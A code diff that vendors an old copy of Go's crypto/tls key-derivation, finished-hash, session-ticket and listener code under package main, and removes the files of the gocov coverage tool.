||||
}
|
||||
}
|
||||
|
||||
// masterFromPreMasterSecret generates the master secret from the pre-master
|
||||
// secret. See http://tools.ietf.org/html/rfc5246#section-8.1
|
||||
func masterFromPreMasterSecret(version uint16, preMasterSecret, clientRandom, serverRandom []byte) []byte {
|
||||
var seed [tlsRandomLength * 2]byte
|
||||
copy(seed[0:len(clientRandom)], clientRandom)
|
||||
copy(seed[len(clientRandom):], serverRandom)
|
||||
masterSecret := make([]byte, masterSecretLength)
|
||||
prfForVersion(version)(masterSecret, preMasterSecret, masterSecretLabel, seed[0:])
|
||||
return masterSecret
|
||||
}
|
||||
|
||||
// keysFromMasterSecret generates the connection keys from the master
|
||||
// secret, given the lengths of the MAC key, cipher key and IV, as defined in
|
||||
// RFC 2246, section 6.3.
|
||||
func keysFromMasterSecret(version uint16, masterSecret, clientRandom, serverRandom []byte, macLen, keyLen, ivLen int) (clientMAC, serverMAC, clientKey, serverKey, clientIV, serverIV []byte) {
|
||||
var seed [tlsRandomLength * 2]byte
|
||||
copy(seed[0:len(clientRandom)], serverRandom)
|
||||
copy(seed[len(serverRandom):], clientRandom)
|
||||
|
||||
n := 2*macLen + 2*keyLen + 2*ivLen
|
||||
keyMaterial := make([]byte, n)
|
||||
prfForVersion(version)(keyMaterial, masterSecret, keyExpansionLabel, seed[0:])
|
||||
clientMAC = keyMaterial[:macLen]
|
||||
keyMaterial = keyMaterial[macLen:]
|
||||
serverMAC = keyMaterial[:macLen]
|
||||
keyMaterial = keyMaterial[macLen:]
|
||||
clientKey = keyMaterial[:keyLen]
|
||||
keyMaterial = keyMaterial[keyLen:]
|
||||
serverKey = keyMaterial[:keyLen]
|
||||
keyMaterial = keyMaterial[keyLen:]
|
||||
clientIV = keyMaterial[:ivLen]
|
||||
keyMaterial = keyMaterial[ivLen:]
|
||||
serverIV = keyMaterial[:ivLen]
|
||||
return
|
||||
}
|
||||
|
||||
func newFinishedHash(version uint16) finishedHash {
|
||||
if version >= VersionTLS12 {
|
||||
return finishedHash{sha256.New(), sha256.New(), nil, nil, version}
|
||||
}
|
||||
return finishedHash{sha1.New(), sha1.New(), md5.New(), md5.New(), version}
|
||||
}
|
||||
|
||||
// A finishedHash calculates the hash of a set of handshake messages suitable
|
||||
// for including in a Finished message.
|
||||
type finishedHash struct {
|
||||
client hash.Hash
|
||||
server hash.Hash
|
||||
|
||||
// Prior to TLS 1.2, an additional MD5 hash is required.
|
||||
clientMD5 hash.Hash
|
||||
serverMD5 hash.Hash
|
||||
|
||||
version uint16
|
||||
}
|
||||
|
||||
func (h finishedHash) Write(msg []byte) (n int, err error) {
|
||||
h.client.Write(msg)
|
||||
h.server.Write(msg)
|
||||
|
||||
if h.version < VersionTLS12 {
|
||||
h.clientMD5.Write(msg)
|
||||
h.serverMD5.Write(msg)
|
||||
}
|
||||
return len(msg), nil
|
||||
}
|
||||
|
||||
// finishedSum30 calculates the contents of the verify_data member of a SSLv3
|
||||
// Finished message given the MD5 and SHA1 hashes of a set of handshake
|
||||
// messages.
|
||||
func finishedSum30(md5, sha1 hash.Hash, masterSecret []byte, magic [4]byte) []byte {
|
||||
md5.Write(magic[:])
|
||||
md5.Write(masterSecret)
|
||||
md5.Write(ssl30Pad1[:])
|
||||
md5Digest := md5.Sum(nil)
|
||||
|
||||
md5.Reset()
|
||||
md5.Write(masterSecret)
|
||||
md5.Write(ssl30Pad2[:])
|
||||
md5.Write(md5Digest)
|
||||
md5Digest = md5.Sum(nil)
|
||||
|
||||
sha1.Write(magic[:])
|
||||
sha1.Write(masterSecret)
|
||||
sha1.Write(ssl30Pad1[:40])
|
||||
sha1Digest := sha1.Sum(nil)
|
||||
|
||||
sha1.Reset()
|
||||
sha1.Write(masterSecret)
|
||||
sha1.Write(ssl30Pad2[:40])
|
||||
sha1.Write(sha1Digest)
|
||||
sha1Digest = sha1.Sum(nil)
|
||||
|
||||
ret := make([]byte, len(md5Digest)+len(sha1Digest))
|
||||
copy(ret, md5Digest)
|
||||
copy(ret[len(md5Digest):], sha1Digest)
|
||||
return ret
|
||||
}
|
||||
|
||||
var ssl3ClientFinishedMagic = [4]byte{0x43, 0x4c, 0x4e, 0x54}
|
||||
var ssl3ServerFinishedMagic = [4]byte{0x53, 0x52, 0x56, 0x52}
|
||||
|
||||
// clientSum returns the contents of the verify_data member of a client's
|
||||
// Finished message.
|
||||
func (h finishedHash) clientSum(masterSecret []byte) []byte {
|
||||
if h.version == VersionSSL30 {
|
||||
return finishedSum30(h.clientMD5, h.client, masterSecret, ssl3ClientFinishedMagic)
|
||||
}
|
||||
|
||||
out := make([]byte, finishedVerifyLength)
|
||||
if h.version >= VersionTLS12 {
|
||||
seed := h.client.Sum(nil)
|
||||
prf12(out, masterSecret, clientFinishedLabel, seed)
|
||||
} else {
|
||||
seed := make([]byte, 0, md5.Size+sha1.Size)
|
||||
seed = h.clientMD5.Sum(seed)
|
||||
seed = h.client.Sum(seed)
|
||||
prf10(out, masterSecret, clientFinishedLabel, seed)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// serverSum returns the contents of the verify_data member of a server's
|
||||
// Finished message.
|
||||
func (h finishedHash) serverSum(masterSecret []byte) []byte {
|
||||
if h.version == VersionSSL30 {
|
||||
return finishedSum30(h.serverMD5, h.server, masterSecret, ssl3ServerFinishedMagic)
|
||||
}
|
||||
|
||||
out := make([]byte, finishedVerifyLength)
|
||||
if h.version >= VersionTLS12 {
|
||||
seed := h.server.Sum(nil)
|
||||
prf12(out, masterSecret, serverFinishedLabel, seed)
|
||||
} else {
|
||||
seed := make([]byte, 0, md5.Size+sha1.Size)
|
||||
seed = h.serverMD5.Sum(seed)
|
||||
seed = h.server.Sum(seed)
|
||||
prf10(out, masterSecret, serverFinishedLabel, seed)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// hashForClientCertificate returns a digest, hash function, and TLS 1.2 hash
|
||||
// id suitable for signing by a TLS client certificate.
|
||||
func (h finishedHash) hashForClientCertificate(sigType uint8) ([]byte, crypto.Hash, uint8) {
|
||||
if h.version >= VersionTLS12 {
|
||||
digest := h.server.Sum(nil)
|
||||
return digest, crypto.SHA256, hashSHA256
|
||||
}
|
||||
if sigType == signatureECDSA {
|
||||
digest := h.server.Sum(nil)
|
||||
return digest, crypto.SHA1, hashSHA1
|
||||
}
|
||||
|
||||
digest := make([]byte, 0, 36)
|
||||
digest = h.serverMD5.Sum(digest)
|
||||
digest = h.server.Sum(digest)
|
||||
return digest, crypto.MD5SHA1, 0 /* not specified in TLS 1.2. */
|
||||
}
|
||||
@@ -0,0 +1,182 @@
|
||||
// Copyright 2012 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/hmac"
|
||||
"crypto/sha256"
|
||||
"crypto/subtle"
|
||||
"errors"
|
||||
"io"
|
||||
)
|
||||
|
||||
// sessionState contains the information that is serialized into a session
|
||||
// ticket in order to later resume a connection.
|
||||
type sessionState struct {
|
||||
vers uint16
|
||||
cipherSuite uint16
|
||||
masterSecret []byte
|
||||
certificates [][]byte
|
||||
}
|
||||
|
||||
func (s *sessionState) equal(i interface{}) bool {
|
||||
s1, ok := i.(*sessionState)
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
|
||||
if s.vers != s1.vers ||
|
||||
s.cipherSuite != s1.cipherSuite ||
|
||||
!bytes.Equal(s.masterSecret, s1.masterSecret) {
|
||||
return false
|
||||
}
|
||||
|
||||
if len(s.certificates) != len(s1.certificates) {
|
||||
return false
|
||||
}
|
||||
|
||||
for i := range s.certificates {
|
||||
if !bytes.Equal(s.certificates[i], s1.certificates[i]) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *sessionState) marshal() []byte {
|
||||
length := 2 + 2 + 2 + len(s.masterSecret) + 2
|
||||
for _, cert := range s.certificates {
|
||||
length += 4 + len(cert)
|
||||
}
|
||||
|
||||
ret := make([]byte, length)
|
||||
x := ret
|
||||
x[0] = byte(s.vers >> 8)
|
||||
x[1] = byte(s.vers)
|
||||
x[2] = byte(s.cipherSuite >> 8)
|
||||
x[3] = byte(s.cipherSuite)
|
||||
x[4] = byte(len(s.masterSecret) >> 8)
|
||||
x[5] = byte(len(s.masterSecret))
|
||||
x = x[6:]
|
||||
copy(x, s.masterSecret)
|
||||
x = x[len(s.masterSecret):]
|
||||
|
||||
x[0] = byte(len(s.certificates) >> 8)
|
||||
x[1] = byte(len(s.certificates))
|
||||
x = x[2:]
|
||||
|
||||
for _, cert := range s.certificates {
|
||||
x[0] = byte(len(cert) >> 24)
|
||||
x[1] = byte(len(cert) >> 16)
|
||||
x[2] = byte(len(cert) >> 8)
|
||||
x[3] = byte(len(cert))
|
||||
copy(x[4:], cert)
|
||||
x = x[4+len(cert):]
|
||||
}
|
||||
|
||||
return ret
|
||||
}
|
||||
|
||||
func (s *sessionState) unmarshal(data []byte) bool {
|
||||
if len(data) < 8 {
|
||||
return false
|
||||
}
|
||||
|
||||
s.vers = uint16(data[0])<<8 | uint16(data[1])
|
||||
s.cipherSuite = uint16(data[2])<<8 | uint16(data[3])
|
||||
masterSecretLen := int(data[4])<<8 | int(data[5])
|
||||
data = data[6:]
|
||||
if len(data) < masterSecretLen {
|
||||
return false
|
||||
}
|
||||
|
||||
s.masterSecret = data[:masterSecretLen]
|
||||
data = data[masterSecretLen:]
|
||||
|
||||
if len(data) < 2 {
|
||||
return false
|
||||
}
|
||||
|
||||
numCerts := int(data[0])<<8 | int(data[1])
|
||||
data = data[2:]
|
||||
|
||||
s.certificates = make([][]byte, numCerts)
|
||||
for i := range s.certificates {
|
||||
if len(data) < 4 {
|
||||
return false
|
||||
}
|
||||
certLen := int(data[0])<<24 | int(data[1])<<16 | int(data[2])<<8 | int(data[3])
|
||||
data = data[4:]
|
||||
if certLen < 0 {
|
||||
return false
|
||||
}
|
||||
if len(data) < certLen {
|
||||
return false
|
||||
}
|
||||
s.certificates[i] = data[:certLen]
|
||||
data = data[certLen:]
|
||||
}
|
||||
|
||||
if len(data) > 0 {
|
||||
return false
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func (c *Conn) encryptTicket(state *sessionState) ([]byte, error) {
|
||||
serialized := state.marshal()
|
||||
encrypted := make([]byte, aes.BlockSize+len(serialized)+sha256.Size)
|
||||
iv := encrypted[:aes.BlockSize]
|
||||
macBytes := encrypted[len(encrypted)-sha256.Size:]
|
||||
|
||||
if _, err := io.ReadFull(c.config.rand(), iv); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
block, err := aes.NewCipher(c.config.SessionTicketKey[:16])
|
||||
if err != nil {
|
||||
return nil, errors.New("tls: failed to create cipher while encrypting ticket: " + err.Error())
|
||||
}
|
||||
cipher.NewCTR(block, iv).XORKeyStream(encrypted[aes.BlockSize:], serialized)
|
||||
|
||||
mac := hmac.New(sha256.New, c.config.SessionTicketKey[16:32])
|
||||
mac.Write(encrypted[:len(encrypted)-sha256.Size])
|
||||
mac.Sum(macBytes[:0])
|
||||
|
||||
return encrypted, nil
|
||||
}
|
||||
|
||||
func (c *Conn) decryptTicket(encrypted []byte) (*sessionState, bool) {
|
||||
if len(encrypted) < aes.BlockSize+sha256.Size {
|
||||
return nil, false
|
||||
}
|
||||
|
||||
iv := encrypted[:aes.BlockSize]
|
||||
macBytes := encrypted[len(encrypted)-sha256.Size:]
|
||||
|
||||
mac := hmac.New(sha256.New, c.config.SessionTicketKey[16:32])
|
||||
mac.Write(encrypted[:len(encrypted)-sha256.Size])
|
||||
expected := mac.Sum(nil)
|
||||
|
||||
if subtle.ConstantTimeCompare(macBytes, expected) != 1 {
|
||||
return nil, false
|
||||
}
|
||||
|
||||
block, err := aes.NewCipher(c.config.SessionTicketKey[:16])
|
||||
if err != nil {
|
||||
return nil, false
|
||||
}
|
||||
ciphertext := encrypted[aes.BlockSize : len(encrypted)-sha256.Size]
|
||||
plaintext := ciphertext
|
||||
cipher.NewCTR(block, iv).XORKeyStream(plaintext, ciphertext)
|
||||
|
||||
state := new(sessionState)
|
||||
ok := state.unmarshal(plaintext)
|
||||
return state, ok
|
||||
}
|
||||
@@ -0,0 +1,225 @@
|
||||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package tls partially implements TLS 1.2, as specified in RFC 5246.
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto"
|
||||
"crypto/ecdsa"
|
||||
"crypto/rsa"
|
||||
"crypto/x509"
|
||||
"encoding/pem"
|
||||
"errors"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Server returns a new TLS server side connection
|
||||
// using conn as the underlying transport.
|
||||
// The configuration config must be non-nil and must have
|
||||
// at least one certificate.
|
||||
func Server(conn net.Conn, config *Config) *Conn {
|
||||
return &Conn{conn: conn, config: config}
|
||||
}
|
||||
|
||||
// Client returns a new TLS client side connection
|
||||
// using conn as the underlying transport.
|
||||
// Client interprets a nil configuration as equivalent to
|
||||
// the zero configuration; see the documentation of Config
|
||||
// for the defaults.
|
||||
func Client(conn net.Conn, config *Config) *Conn {
|
||||
return &Conn{conn: conn, config: config, isClient: true}
|
||||
}
|
||||
|
||||
// A listener implements a network listener (net.Listener) for TLS connections.
|
||||
type listener struct {
|
||||
net.Listener
|
||||
config *Config
|
||||
}
|
||||
|
||||
// Accept waits for and returns the next incoming TLS connection.
|
||||
// The returned connection c is a *tls.Conn.
|
||||
func (l *listener) Accept() (c net.Conn, err error) {
|
||||
c, err = l.Listener.Accept()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
c = Server(c, l.config)
|
||||
return
|
||||
}
|
||||
|
||||
// NewListener creates a Listener which accepts connections from an inner
|
||||
// Listener and wraps each connection with Server.
|
||||
// The configuration config must be non-nil and must have
|
||||
// at least one certificate.
|
||||
func NewListener(inner net.Listener, config *Config) net.Listener {
|
||||
l := new(listener)
|
||||
l.Listener = inner
|
||||
l.config = config
|
||||
return l
|
||||
}
|
||||
|
||||
// Listen creates a TLS listener accepting connections on the
|
||||
// given network address using net.Listen.
|
||||
// The configuration config must be non-nil and must have
|
||||
// at least one certificate.
|
||||
func Listen(network, laddr string, config *Config) (net.Listener, error) {
|
||||
if config == nil || len(config.Certificates) == 0 {
|
||||
return nil, errors.New("tls.Listen: no certificates in configuration")
|
||||
}
|
||||
l, err := net.Listen(network, laddr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return NewListener(l, config), nil
|
||||
}
|
||||
|
||||
// Dial connects to the given network address using net.Dial
|
||||
// and then initiates a TLS handshake, returning the resulting
|
||||
// TLS connection.
|
||||
// Dial interprets a nil configuration as equivalent to
|
||||
// the zero configuration; see the documentation of Config
|
||||
// for the defaults.
|
||||
func Dial(network, addr string, config *Config) (*Conn, error) {
|
||||
raddr := addr
|
||||
c, err := net.Dial(network, raddr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
colonPos := strings.LastIndex(raddr, ":")
|
||||
if colonPos == -1 {
|
||||
colonPos = len(raddr)
|
||||
}
|
||||
hostname := raddr[:colonPos]
|
||||
|
||||
if config == nil {
|
||||
config = defaultConfig()
|
||||
}
|
||||
// If no ServerName is set, infer the ServerName
|
||||
// from the hostname we're connecting to.
|
||||
if config.ServerName == "" {
|
||||
// Make a copy to avoid polluting argument or default.
|
||||
c := *config
|
||||
c.ServerName = hostname
|
||||
config = &c
|
||||
}
|
||||
conn := Client(c, config)
|
||||
if err = conn.Handshake(); err != nil {
|
||||
c.Close()
|
||||
return nil, err
|
||||
}
|
||||
return conn, nil
|
||||
}
|
||||
|
||||
// LoadX509KeyPair reads and parses a public/private key pair from a pair of
|
||||
// files. The files must contain PEM encoded data.
|
||||
func LoadX509KeyPair(certFile, keyFile string) (cert Certificate, err error) {
|
||||
certPEMBlock, err := ioutil.ReadFile(certFile)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
keyPEMBlock, err := ioutil.ReadFile(keyFile)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
return X509KeyPair(certPEMBlock, keyPEMBlock)
|
||||
}
|
||||
|
||||
// X509KeyPair parses a public/private key pair from a pair of
|
||||
// PEM encoded data.
|
||||
func X509KeyPair(certPEMBlock, keyPEMBlock []byte) (cert Certificate, err error) {
|
||||
var certDERBlock *pem.Block
|
||||
for {
|
||||
certDERBlock, certPEMBlock = pem.Decode(certPEMBlock)
|
||||
if certDERBlock == nil {
|
||||
break
|
||||
}
|
||||
if certDERBlock.Type == "CERTIFICATE" {
|
||||
cert.Certificate = append(cert.Certificate, certDERBlock.Bytes)
|
||||
}
|
||||
}
|
||||
|
||||
if len(cert.Certificate) == 0 {
|
||||
err = errors.New("crypto/tls: failed to parse certificate PEM data")
|
||||
return
|
||||
}
|
||||
|
||||
var keyDERBlock *pem.Block
|
||||
for {
|
||||
keyDERBlock, keyPEMBlock = pem.Decode(keyPEMBlock)
|
||||
if keyDERBlock == nil {
|
||||
err = errors.New("crypto/tls: failed to parse key PEM data")
|
||||
return
|
||||
}
|
||||
if keyDERBlock.Type == "PRIVATE KEY" || strings.HasSuffix(keyDERBlock.Type, " PRIVATE KEY") {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
cert.PrivateKey, err = parsePrivateKey(keyDERBlock.Bytes)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// We don't need to parse the public key for TLS, but we so do anyway
|
||||
// to check that it looks sane and matches the private key.
|
||||
x509Cert, err := x509.ParseCertificate(cert.Certificate[0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
switch pub := x509Cert.PublicKey.(type) {
|
||||
case *rsa.PublicKey:
|
||||
priv, ok := cert.PrivateKey.(*rsa.PrivateKey)
|
||||
if !ok {
|
||||
err = errors.New("crypto/tls: private key type does not match public key type")
|
||||
return
|
||||
}
|
||||
if pub.N.Cmp(priv.N) != 0 {
|
||||
err = errors.New("crypto/tls: private key does not match public key")
|
||||
return
|
||||
}
|
||||
case *ecdsa.PublicKey:
|
||||
priv, ok := cert.PrivateKey.(*ecdsa.PrivateKey)
|
||||
if !ok {
|
||||
err = errors.New("crypto/tls: private key type does not match public key type")
|
||||
return
|
||||
|
||||
}
|
||||
if pub.X.Cmp(priv.X) != 0 || pub.Y.Cmp(priv.Y) != 0 {
|
||||
err = errors.New("crypto/tls: private key does not match public key")
|
||||
return
|
||||
}
|
||||
default:
|
||||
err = errors.New("crypto/tls: unknown public key algorithm")
|
||||
return
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// Attempt to parse the given private key DER block. OpenSSL 0.9.8 generates
|
||||
// PKCS#1 private keys by default, while OpenSSL 1.0.0 generates PKCS#8 keys.
|
||||
// OpenSSL ecparam generates SEC1 EC private keys for ECDSA. We try all three.
|
||||
func parsePrivateKey(der []byte) (crypto.PrivateKey, error) {
|
||||
if key, err := x509.ParsePKCS1PrivateKey(der); err == nil {
|
||||
return key, nil
|
||||
}
|
||||
if key, err := x509.ParsePKCS8PrivateKey(der); err == nil {
|
||||
switch key := key.(type) {
|
||||
case *rsa.PrivateKey, *ecdsa.PrivateKey:
|
||||
return key, nil
|
||||
default:
|
||||
return nil, errors.New("crypto/tls: found unknown private key type in PKCS#8 wrapping")
|
||||
}
|
||||
}
|
||||
if key, err := x509.ParseECPrivateKey(der); err == nil {
|
||||
return key, nil
|
||||
}
|
||||
|
||||
return nil, errors.New("crypto/tls: failed to parse private key")
|
||||
}
|
||||
@@ -1,22 +0,0 @@
|
||||
# Compiled Object files, Static and Dynamic libs (Shared Objects)
|
||||
*.o
|
||||
*.a
|
||||
*.so
|
||||
|
||||
# Folders
|
||||
_obj
|
||||
_test
|
||||
|
||||
# Architecture specific extensions/prefixes
|
||||
*.[568vq]
|
||||
[568vq].out
|
||||
|
||||
*.cgo1.go
|
||||
*.cgo2.c
|
||||
_cgo_defun.c
|
||||
_cgo_gotypes.go
|
||||
_cgo_export.*
|
||||
|
||||
_testmain.go
|
||||
|
||||
*.exe
|
||||
@@ -1 +0,0 @@
|
||||
language: go
|
||||
@@ -1,5 +0,0 @@
|
||||
# List of gocov authors.
|
||||
|
||||
Andrew Wilkins <axwalk@gmail.com>
|
||||
Dave Cheney <dave@cheney.net>
|
||||
Greg Ward <greg@gerg.ca>
|
||||
@@ -1,20 +0,0 @@
|
||||
Copyright (c) 2012 The Gocov Authors.
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
this software and associated documentation files (the "Software"), to deal in
|
||||
the Software without restriction, including without limitation the rights to
|
||||
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
|
||||
of the Software, and to permit persons to whom the Software is furnished to do
|
||||
so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
@@ -1,60 +0,0 @@
|
||||
# gocov
|
||||
|
||||
Coverage reporting tool for The Go Programming Language
|
||||
|
||||
[](https://drone.io/github.com/axw/gocov/latest)
|
||||
|
||||
## Installation
|
||||
|
||||
```go get github.com/axw/gocov/gocov```
|
||||
|
||||
## Usage
|
||||
|
||||
There are currently four gocov commands: ```test```, ```convert```, ```report``` and ```annotate```.
|
||||
|
||||
#### gocov test
|
||||
|
||||
Running `gocov test [args...]` will run `go test [args...]` with
|
||||
an implicit `-coverprofile` added, and then output the result of
|
||||
`gocov convert` with the profile.
|
||||
|
||||
#### gocov convert
|
||||
|
||||
Running `gocov convert <coverprofile>` will convert a coverage
|
||||
profile generated by `go tool cover` to gocov's JSON interchange
|
||||
format. For example:
|
||||
|
||||
go test -coverprofile=c.out
|
||||
gocov convert c.out | gocov annotate -
|
||||
|
||||
#### gocov report
|
||||
|
||||
Running `gocov report <coverage.json>` will generate a textual
|
||||
report from the coverage data output by `gocov convert`. It is
|
||||
assumed that the source code has not changed in between.
|
||||
|
||||
Output from ```gocov test``` is printed to stdout so users can
|
||||
pipe the output to ```gocov report``` to view a summary of the test
|
||||
coverage, for example: -
|
||||
|
||||
gocov test | gocov report
|
||||
|
||||
#### gocov annotate
|
||||
|
||||
Running `gocov annotate <coverage.json> <package[.receiver].function>`
|
||||
will generate a source listing of the specified function, annotating
|
||||
it with coverage information, such as which lines have been missed.
|
||||
|
||||
## Related tools
|
||||
|
||||
[GoCovGUI](http://github.com/nsf/gocovgui/):
|
||||
A simple GUI wrapper for the gocov coverage analysis tool.
|
||||
|
||||
[gocov-html](https://github.com/matm/gocov-html):
|
||||
A simple helper tool for generating HTML output from gocov.
|
||||
|
||||
[gocov-xml](https://github.com/AlekSi/gocov-xml):
|
||||
A simple helper tool for generating XML output in Cobertura format for CIs like Jenkins and others from gocov.
|
||||
|
||||
[goveralls](https://github.com/mattn/goveralls):
|
||||
Go integration for Coveralls.io continuous code coverage tracking system.
|
||||
@@ -1,115 +0,0 @@
|
||||
// Copyright (c) 2012 The Gocov Authors.
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to
|
||||
// deal in the Software without restriction, including without limitation the
|
||||
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||
// sell copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in
|
||||
// all copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||
// IN THE SOFTWARE.
|
||||
|
||||
// Package gocov is a code coverage analysis tool for Go.
|
||||
package gocov
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
)
|
||||
|
||||
type Package struct {
|
||||
// Name is the canonical path of the package.
|
||||
Name string
|
||||
|
||||
// Functions is a list of functions registered with this package.
|
||||
Functions []*Function
|
||||
}
|
||||
|
||||
type Function struct {
|
||||
// Name is the name of the function. If the function has a receiver, the
|
||||
// name will be of the form T.N, where T is the type and N is the name.
|
||||
Name string
|
||||
|
||||
// File is the full path to the file in which the function is defined.
|
||||
File string
|
||||
|
||||
// Start is the start offset of the function's signature.
|
||||
Start int
|
||||
|
||||
// End is the end offset of the function.
|
||||
End int
|
||||
|
||||
// statements registered with this function.
|
||||
Statements []*Statement
|
||||
}
|
||||
|
||||
type Statement struct {
|
||||
// Start is the start offset of the statement.
|
||||
Start int
|
||||
|
||||
// End is the end offset of the statement.
|
||||
End int
|
||||
|
||||
// Reached is the number of times the statement was reached.
|
||||
Reached int64
|
||||
}
|
||||
|
||||
// Accumulate will accumulate the coverage information from the provided
|
||||
// Package into this Package.
|
||||
func (p *Package) Accumulate(p2 *Package) error {
|
||||
if p.Name != p2.Name {
|
||||
return fmt.Errorf("Names do not match: %q != %q", p.Name, p2.Name)
|
||||
}
|
||||
if len(p.Functions) != len(p2.Functions) {
|
||||
return fmt.Errorf("Function counts do not match: %d != %d", len(p.Functions), len(p2.Functions))
|
||||
}
|
||||
for i, f := range p.Functions {
|
||||
err := f.Accumulate(p2.Functions[i])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Accumulate will accumulate the coverage information from the provided
|
||||
// Function into this Function.
|
||||
func (f *Function) Accumulate(f2 *Function) error {
|
||||
if f.Name != f2.Name {
|
||||
return fmt.Errorf("Names do not match: %q != %q", f.Name, f2.Name)
|
||||
}
|
||||
if f.File != f2.File {
|
||||
return fmt.Errorf("Files do not match: %q != %q", f.File, f2.File)
|
||||
}
|
||||
if f.Start != f2.Start || f.End != f2.End {
|
||||
return fmt.Errorf("Source ranges do not match: %d-%d != %d-%d", f.Start, f.End, f2.Start, f2.End)
|
||||
}
|
||||
if len(f.Statements) != len(f2.Statements) {
|
||||
return fmt.Errorf("Number of statements do not match: %d != %d", len(f.Statements), len(f2.Statements))
|
||||
}
|
||||
for i, s := range f.Statements {
|
||||
err := s.Accumulate(f2.Statements[i])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Accumulate will accumulate the coverage information from the provided
|
||||
// Statement into this Statement.
|
||||
func (s *Statement) Accumulate(s2 *Statement) error {
|
||||
if s.Start != s2.Start || s.End != s2.End {
|
||||
return fmt.Errorf("Source ranges do not match: %d-%d != %d-%d", s.Start, s.End, s2.Start, s2.End)
|
||||
}
|
||||
s.Reached += s2.Reached
|
||||
return nil
|
||||
}
|
||||
@@ -1,238 +0,0 @@
|
||||
// Copyright (c) 2012 The Gocov Authors.
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to
|
||||
// deal in the Software without restriction, including without limitation the
|
||||
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||
// sell copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in
|
||||
// all copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||
// IN THE SOFTWARE.
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"fmt"
|
||||
"go/token"
|
||||
"io/ioutil"
|
||||
"math"
|
||||
"os"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/axw/gocov"
|
||||
)
|
||||
|
||||
const (
|
||||
hitPrefix = " "
|
||||
